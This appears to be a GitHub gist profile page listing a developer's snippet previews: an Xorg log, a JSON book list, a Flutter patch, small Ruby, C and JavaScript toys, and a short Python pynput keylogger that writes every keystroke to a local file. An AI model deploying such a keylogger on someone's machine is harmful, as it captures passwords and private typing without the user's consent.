Skip to content

Instantly share code, notes, and snippets.

View sanket143's full-sized avatar
🏁
GOSH! Missed the finish again

Sanket sanket143

🏁
GOSH! Missed the finish again
View GitHub Profile
[ 2823.997] (WW) Failed to open protocol names file lib/xorg/protocol.txt
[ 2823.998]
X.Org X Server 1.20.13
X Protocol Version 11, Revision 0
[ 2824.001] Build Operating System: Linux Archlinux
[ 2824.002] Current Operating System: Linux lisa 5.14.14-arch1-1 #1 SMP PREEMPT Wed, 20 Oct 2021 21:35:18 +0000 x86_64
[ 2824.002] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-linux root=UUID=a72dd67e-9867-4c66-8ec0-189cb145ee25 rw loglevel=3 quiet pci=realloc
[ 2824.004] Build Date: 04 August 2021 08:13:54AM
[ 2824.005]
[ 2824.007] Current version of pixman: 0.40.0
@sanket143
sanket143 / books.json
Last active July 23, 2022 07:49 — forked from nanotaboada/books.json
A sample collection of books in JSON format
{
"books": [
{
"isbn": "9781593275846",
"title": "Eloquent JavaScript, Second Edition",
"subtitle": "A Modern Introduction to Programming",
"author": "Marijn Haverbeke",
"published": "2014-12-14T00:00:00.000Z",
"publisher": "No Starch Press",
"pages": 472,
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename=("data.dat"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
# coding: utf-8
# In[3]:
import csv
import matplotlib.pyplot as plt
import numpy as np
from sklearn.pipeline import Pipeline
require 'rmagick'
include Magick
Rows = 500
Cols = 500
$i = 0
loading = ImageList.new
while $i < 360 do
frame = Image.new(Cols, Rows) do |c|
c.background_color = "white"
// Replace _buildVertical() function of
// flutter/packages/flutter/lib/src/material/stepper.dart
Widget _buildVertical() {
return ListView.builder(
shrinkWrap: true,
itemCount: widget.steps.length,
itemBuilder: (BuildContext context, int i){
From ad18b73407a174883ffe6be11db210226cc5a074 Mon Sep 17 00:00:00 2001
From: Sanket Chaudhari <chaudharisanket2000@gmail.com>
Date: Mon, 22 Oct 2018 04:29:51 +0530
Subject: [PATCH] Made Stepper, Stepper Size Dynamic
---
.../flutter/lib/src/material/stepper.dart | 20 +++++++++----------
1 file changed, 9 insertions(+), 11 deletions(-)
diff --git a/packages/flutter/lib/src/material/stepper.dart b/packages/flutter/lib/src/material/stepper.dart
#include <stdio.h>
// Get Minimum Function
int min(int a, int b){
if(a < b){
return a;
}
return b;
}
Verifying my Blockstack ID is secured with the address 17rLuBeKNJwfiGunEfKiTiFRZrCvgG5hYY https://explorer.blockstack.org/address/17rLuBeKNJwfiGunEfKiTiFRZrCvgG5hYY
@sanket143
sanket143 / Cricket.js
Created June 14, 2017 18:36
You could play cricket by refreshing the code and copying whatever the result show
function Cricket() {
var Maths = Math.random() * 10 ;
Maths = Math.floor(Maths);
if (Maths ==1 ) {
return "One run";
}
else if (Maths == 2) {
return "Two runs";
}